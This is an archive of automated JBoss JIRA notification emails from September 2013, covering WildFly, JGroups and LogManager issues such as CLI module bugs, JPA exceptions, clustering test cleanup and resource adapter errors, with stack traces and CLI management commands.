Date: Wed, 4 Sep 2013 00:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (LOGMGR-67) Improve LogManager formatter
 capability: System resources, thread ID and minified category
In-Reply-To: <JIRA.12490045.1366637143000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12490045.1366637143000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12490045.1366637143000.7396.1378267563715@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/LOGMGR-67?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801374#comment-12801374 ] 

RH Bugzilla Integration commented on LOGMGR-67:
-----------------------------------------------

James Perkins <jperkins at redhat.com> changed the Status of [bug 994744|https://bugzilla.redhat.com/show_bug.cgi?id=994744] from NEW to POST
                
> Improve LogManager formatter capability: System resources, thread ID and minified category
> ------------------------------------------------------------------------------------------
>
>                 Key: LOGMGR-67
>                 URL: https://issues.jboss.org/browse/LOGMGR-67
>             Project: JBoss Log Manager
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>          Components: core
>    Affects Versions: 1.3.2.Final
>         Environment: JBoss EAP 6.0.1
>            Reporter: Jeremy KUHN
>            Assignee: James Perkins
>              Labels: jboss
>             Fix For: 1.5.0.Final, 2.0.0.Beta1
>
>   Original Estimate: 4 hours
>  Remaining Estimate: 4 hours
>
> Hello,
> We are currently developing a major JEE application running on multiple JBoss EAP 6.0.1 instances in a service oriented architecture.
> The current implementation of JBoss-logmanager (1.3.2.Final) shipped with JBoss EAP doesn't provide the functionality we require in term of logging formatting.
> We are missing:
> - Thread ID (Thread names are too long and of different length that disturb the reading of logs)
> - we haven't find a way to get the hostname displayed in the logs, a simple solution would be to be able to include System properties and therefore the jboss.host.name property in the pattern. System properties would also be interesting to identified the log coming from a specific application (we'll have one application deployed per JBoss instance). Ideally, we'd like to have the ability to provide a context name to know which application has logged the event but this seems to have been delivered with logging profiles.
> - logback has this interesting feature that lets you minify the log category: instead of org.jboss.logmanager.config.ConfigAction you'll get o.j.l.c.ConfigAction which is more readable in the logs.
> Regards

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 00:17:03 2013
From: jira-events at lists.jboss.org (Brent Douglas (JIRA))
Date: Wed, 4 Sep 2013 00:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1994) JPA module throws NPE when
 binding unavailable persistence unit
In-Reply-To: <JIRA.12499880.1378268193400@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499880.1378268193400@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499880.1378268193400.7412.1378268223390@jira02.app.mwc.hst.phx2.redhat.com>

Brent Douglas created WFLY-1994:
-----------------------------------

             Summary: JPA module throws NPE when binding unavailable persistence unit
                 Key: WFLY-1994
                 URL: https://issues.jboss.org/browse/WFLY-1994
             Project: WildFly
          Issue Type: Bug
          Components: JPA / Hibernate
    Affects Versions: 8.0.0.Alpha4
         Environment: Fedora 19, Wildfly a0c7edb142b75d92276fb9fa9c0033ea1d583934 or  AS7.2.0
            Reporter: Brent Douglas
            Assignee: Scott Marlow


When binding an unavailable PU to JNDI an NPE is thrown rather than a message explaining the problem.

{noformat} 
13:33:55,185 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-4) MSC000001: Failed to start service jboss.deployment.unit."fails.ear".POST_MODULE: org.jboss.msc.service.StartException in service jboss.deployment.unit."fails.ear".POST_MODULE: JBAS018733: Failed to process phase POST_MODULE of deployment "fails.ear"
	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:166) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1944) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1877) [jboss-msc-1.2.0.Beta2.jar:1.2.0.Beta2]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
Caused by: java.lang.NullPointerException
	at org.jboss.as.jpa.processor.PersistenceRefProcessor.getPersistenceUnitBindingSource(PersistenceRefProcessor.java:211)
	at org.jboss.as.jpa.processor.PersistenceRefProcessor.getPersistenceUnitRefs(PersistenceRefProcessor.java:127)
	at org.jboss.as.jpa.processor.PersistenceRefProcessor.processDescriptorEntries(PersistenceRefProcessor.java:78)
	at org.jboss.as.ee.component.deployers.AbstractDeploymentDescriptorBindingsProcessor.deploy(AbstractDeploymentDescriptorBindingsProcessor.java:95)
	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:159) [wildfly-server-8.0.0.Beta1-SNAPSHOT.jar:8.0.0.Beta1-SNAPSHOT]
	... 5 more
{noformat}


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 02:05:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 4 Sep 2013 02:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.7456.1378274703540@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1317:
---------------------------

    Summary: Compress Digest and MutableDigest  (was: STABLE: compress STABLE messages)

    
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 02:07:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 02:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1896) The CLI command "module
 remove" fails to delete non-empty folders
In-Reply-To: <JIRA.12498835.1376855712000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498835.1376855712000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498835.1376855712000.7463.1378274824127@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1896?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801387#comment-12801387 ] 

RH Bugzilla Integration commented on WFLY-1896:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 991469|https://bugzilla.redhat.com/show_bug.cgi?id=991469] from POST to MODIFIED
                
>  The CLI command "module remove" fails to delete non-empty folders
> ------------------------------------------------------------------
>
>                 Key: WFLY-1896
>                 URL: https://issues.jboss.org/browse/WFLY-1896
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> The "module remove" command fails when it deletes non-empty folder.
> For instance a resource adapter module contains META-INF/ra.xml file in the module. When I choose to delete the module, it fails:
> [standalone at localhost:9999 /] module remove --name=org.jboss.ironjacamar.ra16out 
> Failed to delete /home/jcacek/Testing/jboss-eap-6.1.1.ER4/modules/org/jboss/ironjacamar/ra16out/main/META-INF

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 02:07:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 02:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1913) CLI 'module add' command fail
 if a drive letter is specified in its resource path
In-Reply-To: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499050.1377075768000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499050.1377075768000.7466.1378274824303@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1913?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801388#comment-12801388 ] 

RH Bugzilla Integration commented on WFLY-1913:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 991469|https://bugzilla.redhat.com/show_bug.cgi?id=991469] from POST to MODIFIED
                
> CLI 'module add' command fail if a drive letter is specified in its resource path
> ---------------------------------------------------------------------------------
>
>                 Key: WFLY-1913
>                 URL: https://issues.jboss.org/browse/WFLY-1913
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>             Fix For: 8.0.0.Beta1
>
>
> If a drive letter is specified in the resource path the module add command fails on MS Windows. It cannot locate such a resource because of doubled drive letter in the translated path.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 02:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 02:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-165) It is possible to create
 broadcast group using non-existent connectors
In-Reply-To: <JIRA.12489687.1366192044000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489687.1366192044000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489687.1366192044000.7471.1378274943593@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-165?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801389#comment-12801389 ] 

RH Bugzilla Integration commented on WFLY-165:
----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 952566|https://bugzilla.redhat.com/show_bug.cgi?id=952566] from NEW to MODIFIED
                
> It is possible to create broadcast group using non-existent connectors
> ----------------------------------------------------------------------
>
>                 Key: WFLY-165
>                 URL: https://issues.jboss.org/browse/WFLY-165
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> It is possible to create broadcast group using non-existent connectors. It seems that validation is missing for add operation. This affects both CLI and Amin console, thus I suppose that problem is in underlying Management API. 
> Example:
> 1. Creation of new group with non-existent connectors "ab" and "ba" will succeed 
> [standalone at localhost:9999 /] /subsystem=messaging/hornetq-server=default/broadcast-group=foo:add(socket-binding=default, connectors=[ab,ba]) 
> {
>     "outcome" => "success",
>     "response-headers" => {
>         "operation-requires-reload" => true,
>         "process-state" => "reload-required"
>     }
> }
> 2. However if we try to change the value of connectors attribute to the very same value it will fail
>  
> /subsystem=messaging/hornetq-server=default/broadcast-group=foo:write-attribute(name=connectors,value=[ab,bc])
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS011680: The broadcast group 'foo' defines reference to nonexistent connector 'ab'. Available connectors '[netty, in-vm, netty-throughput]'.",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 02:41:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 02:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-327) Remote JNDI is not working
 with a HornetQ-only JMS bridge
In-Reply-To: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485139.1361266488000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485139.1361266488000.7494.1378276863512@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-327?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801392#comment-12801392 ] 

RH Bugzilla Integration commented on WFLY-327:
----------------------------------------------

Yong Hao Gao <hgao at redhat.com> made a comment on [bug 912653|https://bugzilla.redhat.com/show_bug.cgi?id=912653]

There are some non-serializable fields that caused the problem. When a JMS bridge is deployed and started and if it uses a local Connection Factory to create connections, the Connection Factory will have such fields stored. When a remote client looks up the same connection factory via JNDI, the factory won't get serialized because of those fields.

To workaround the client can use a different Connection Factory. I'll submit the fix soon.

Howard
                
> Remote JNDI is not working with a HornetQ-only JMS bridge
> ---------------------------------------------------------
>
>                 Key: WFLY-327
>                 URL: https://issues.jboss.org/browse/WFLY-327
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JMS
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>             Fix For: 8.0.0.Alpha1
>
>
> The jms-bridge can be used to bridge a hornetq server to another and should work by specifying to use the org.hornetq.module to load the JMS implementation classes.
> However, this fails because this module does not have access to the JBoss remote-naming module that is required to connect to remote JBoss JNDI server.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 03:14:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 03:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1499) Clustering tests
 intermittently fail mainly because they do not clean their deployments
 properly
In-Reply-To: <JIRA.12494046.1370968424000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494046.1370968424000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494046.1370968424000.7550.1378278843593@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1499?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801400#comment-12801400 ] 

RH Bugzilla Integration commented on WFLY-1499:
-----------------------------------------------

baranowb <bbaranow at redhat.com> made a comment on [bug 998371|https://bugzilla.redhat.com/show_bug.cgi?id=998371]

PR: https://github.com/jbossas/jboss-eap/pull/353

It does not include 406 and 1499
                
> Clustering tests intermittently fail mainly because they do not clean their deployments properly
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1499
>                 URL: https://issues.jboss.org/browse/WFLY-1499
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Alpha4
>
>
> Almost all clustering tests from the testsuite deploys what they need to perform the test, but almost none of those tests do undeploy of their deployments. Then, if the tests are run in an unexpected order (different JVM) or if some of them fail their deployments keeps at servers and often cause a failure of subsequent tests.
> For example {{RemoteStatelessFailoverTestCase(ejb3)}} stops {{CONTAINER-1}} in the middle of a testLoadBalance method and never tries to undeploy DEPLOYMENT_1 from it. So if it hits any failure in the subsequent {{this.establishView(listener, NODES[1]);}} the {{CONTAINER-1}} will never be started up again by RemoteStatelessFailoverTestCase and hence will never be cleaned up by Arquillian which normally undeploys all deployments from the running custom containers on after-class event. And then StatefulFailoverTestCase fails with 
> {noformat}
> org.jboss.as.test.clustering.ViewChangeListenerServlet threw exception:
> java.lang.InterruptedException: Cluster 'ejb' failed to establish view [node-1/ejb] within 15000 ms.  Current view is: [node-0/ejb, node-1/ejb]
> {noformat}
> Another frequent issue with clustering tests is that they blindly deploy the same deployments manytimes which leads to duplicate deploy failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 03:18:03 2013
From: jira-events at lists.jboss.org (Holger Breuer (JIRA))
Date: Wed, 4 Sep 2013 03:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1363) Updating deployment with
	dependant
In-Reply-To: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492100.1368803307000.7562.1378279083742@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1363?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801402#comment-12801402 ] 

Holger Breuer commented on WFLY-1363:
-------------------------------------

We use EAP 6.1.0. Same error with jboss-all.xml :-(
                
> Updating deployment with dependant
> ----------------------------------
>
>                 Key: WFLY-1363
>                 URL: https://issues.jboss.org/browse/WFLY-1363
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>         Environment: Windows 7 64bit, JBoss 7.2.0.Final
>            Reporter: Bart Van Dosselaer
>            Assignee: Jason Greene
>              Labels: deployment
>         Attachments: jboss-deployment.zip, jboss-deployment.zip
>
>
> I'm faced with a certain deployment issue, for which I've created a small maven project (see attachment) so anyone can easily reproduce this behaviour.
>  
> I have a scenario where I have two EAR deployments: base.ear and service.ear. The latter uses some services of the former. For this to work, it has all the necessary entries in its manifest.
> Once deployed, I can call the EJB from service.ear and the EJB from base.ear gets injected and used. No problems so far.
>  
> This works fine, until I want to update base.ear.
>  
> We have our own mechanism to update deployments (through the management API), but the same result can be achieved by deploying through the JBoss Admin console or JBoss CLI.
> So, when I update base.ear (just replace with the same base.ear file) it deploys fine and the invocation is successful. However, there's one line in the console which goes like:
> JBAS014777:   Services which failed to start:      service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: org.jboss.msc.service.StartException in service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: JBAS018733: Failed to process phase FIRST_MODULE_USE of subdepl
> oyment "service-ejb.jar" of deployment "service.ear"
> At this moment, the service.ear, and all its EJBs, isn't really deployed anymore. Or atleast, wrongfully deployed. Not sure how to call that state.
> One possibility is to invoke the :reload command (or restart the server), but ideally we'd like to not have this error in the first place.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 03:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 03:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1499) Clustering tests
 intermittently fail mainly because they do not clean their deployments
 properly
In-Reply-To: <JIRA.12494046.1370968424000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494046.1370968424000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494046.1370968424000.7591.1378280583975@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1499?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801409#comment-12801409 ] 

RH Bugzilla Integration commented on WFLY-1499:
-----------------------------------------------

baranowb <bbaranow at redhat.com> changed the Status of [bug 998371|https://bugzilla.redhat.com/show_bug.cgi?id=998371] from ASSIGNED to POST
                
> Clustering tests intermittently fail mainly because they do not clean their deployments properly
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1499
>                 URL: https://issues.jboss.org/browse/WFLY-1499
>             Project: WildFly
>          Issue Type: Bug
>          Components: Test Suite
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ivo Studensky
>            Assignee: Radoslav Husar
>             Fix For: 8.0.0.Alpha4
>
>
> Almost all clustering tests from the testsuite deploys what they need to perform the test, but almost none of those tests do undeploy of their deployments. Then, if the tests are run in an unexpected order (different JVM) or if some of them fail their deployments keeps at servers and often cause a failure of subsequent tests.
> For example {{RemoteStatelessFailoverTestCase(ejb3)}} stops {{CONTAINER-1}} in the middle of a testLoadBalance method and never tries to undeploy DEPLOYMENT_1 from it. So if it hits any failure in the subsequent {{this.establishView(listener, NODES[1]);}} the {{CONTAINER-1}} will never be started up again by RemoteStatelessFailoverTestCase and hence will never be cleaned up by Arquillian which normally undeploys all deployments from the running custom containers on after-class event. And then StatefulFailoverTestCase fails with 
> {noformat}
> org.jboss.as.test.clustering.ViewChangeListenerServlet threw exception:
> java.lang.InterruptedException: Cluster 'ejb' failed to establish view [node-1/ejb] within 15000 ms.  Current view is: [node-0/ejb, node-1/ejb]
> {noformat}
> Another frequent issue with clustering tests is that they blindly deploy the same deployments manytimes which leads to duplicate deploy failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 03:47:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 03:47:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-4776) Error during (re) adding
 connection factory using CLI
In-Reply-To: <JIRA.12466256.1336739568000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466256.1336739568000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466256.1336739568000.7607.1378280823994@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-4776?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801414#comment-12801414 ] 

RH Bugzilla Integration commented on AS7-4776:
----------------------------------------------

Stefano Maestri <smaestri at redhat.com> made a comment on [bug 985576|https://bugzilla.redhat.com/show_bug.cgi?id=985576]

Closing based on comment 13 and 14
                
> Error during (re) adding connection factory using CLI
> -----------------------------------------------------
>
>                 Key: AS7-4776
>                 URL: https://issues.jboss.org/browse/AS7-4776
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Stefano Maestri
>            Assignee: Stefano Maestri
>            Priority: Critical
>              Labels: EAP6_Needs_Triage
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>         Attachments: MDB.jar
>
>
> /subsystem=resource-adapters/resource-adapter=wsDS:add(archive=teiid-connector-ws.rar, transaction-support=NoTransaction)
> /subsystem=resource-adapters/resource-adapter=wsDS/connection-definitions=wsDS:add(jndi-name=java:/wsDS, class-name=org.teiid.resource.adapter.ws.WSManagedConnectionFactory, enabled=true, use-java-context=true)
> /subsystem=resource-adapters/resource-adapter=wsDS/connection-definitions=wsDS/config-properties=EndPoint:add(value={end_point})
> /subsystem=resource-adapters/resource-adapter=wsDS:activate
> /subsystem=resource-adapters/resource-adapter=wsDS:remove
> 20:48:02,169 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-1) MSC00001: Failed to start service jboss.ra.deployment."teiid-connector-ws.rar_1": org.jboss.msc.service.StartException in service jboss.ra.deployment."teiid-connector-ws.rar_1": org.jboss.jca.core.spi.mdr.NotFoundException: IJ000855: teiid-connector-ws isn't registered
>     at org.jboss.as.connector.metadata.deployment.ResourceAdapterXmlDeploymentService.start(ResourceAdapterXmlDeploymentService.java:127)
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_26]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_26]
>     at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_26]
> Caused by: org.jboss.jca.core.spi.mdr.NotFoundException: IJ000855: teiid-connector-ws isn't registered
>     at org.jboss.jca.core.mdr.SimpleMetadataRepository.getResourceAdapter(SimpleMetadataRepository.java:150)
>     at org.jboss.as.connector.metadata.deployment.ResourceAdapterXmlDeploymentService.start(ResourceAdapterXmlDeploymentService.java:87)
>     ... 5 more
> The problem is present when there is only one RA definitions (added and activated explicitly by :activate operation after deployment of rar) and it's removed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 03:47:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 4 Sep 2013 03:47:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-4776) Error during (re) adding
 connection factory using CLI
In-Reply-To: <JIRA.12466256.1336739568000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12466256.1336739568000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12466256.1336739568000.7614.1378280824371@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-4776?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801415#comment-12801415 ] 

RH Bugzilla Integration commented on AS7-4776:
----------------------------------------------

Stefano Maestri <smaestri at redhat.com> changed the Status of [bug 985576|https://bugzilla.redhat.com/show_bug.cgi?id=985576] from NEW to CLOSED
                
> Error during (re) adding connection factory using CLI
> -----------------------------------------------------
>
>                 Key: AS7-4776
>                 URL: https://issues.jboss.org/browse/AS7-4776
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 7.1.2.Final (EAP)
>            Reporter: Stefano Maestri
>            Assignee: Stefano Maestri
>            Priority: Critical
>              Labels: EAP6_Needs_Triage
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>         Attachments: MDB.jar
>
>
> /subsystem=resource-adapters/resource-adapter=wsDS:add(archive=teiid-connector-ws.rar, transaction-support=NoTransaction)
> /subsystem=resource-adapters/resource-adapter=wsDS/connection-definitions=wsDS:add(jndi-name=java:/wsDS, class-name=org.teiid.resource.adapter.ws.WSManagedConnectionFactory, enabled=true, use-java-context=true)
> /subsystem=resource-adapters/resource-adapter=wsDS/connection-definitions=wsDS/config-properties=EndPoint:add(value={end_point})
> /subsystem=resource-adapters/resource-adapter=wsDS:activate
> /subsystem=resource-adapters/resource-adapter=wsDS:remove
> 20:48:02,169 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-1) MSC00001: Failed to start service jboss.ra.deployment."teiid-connector-ws.rar_1": org.jboss.msc.service.StartException in service jboss.ra.deployment."teiid-connector-ws.rar_1": org.jboss.jca.core.spi.mdr.NotFoundException: IJ000855: teiid-connector-ws isn't registered
>     at org.jboss.as.connector.metadata.deployment.ResourceAdapterXmlDeploymentService.start(ResourceAdapterXmlDeploymentService.java:127)
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
>     at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_26]
>     at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_26]
>     at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_26]
> Caused by: org.jboss.jca.core.spi.mdr.NotFoundException: IJ000855: teiid-connector-ws isn't registered
>     at org.jboss.jca.core.mdr.SimpleMetadataRepository.getResourceAdapter(SimpleMetadataRepository.java:150)
>     at org.jboss.as.connector.metadata.deployment.ResourceAdapterXmlDeploymentService.start(ResourceAdapterXmlDeploymentService.java:87)
>     ... 5 more
> The problem is present when there is only one RA definitions (added and activated explicitly by :activate operation after deployment of rar) and it's removed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep  4 03:51:03 2013
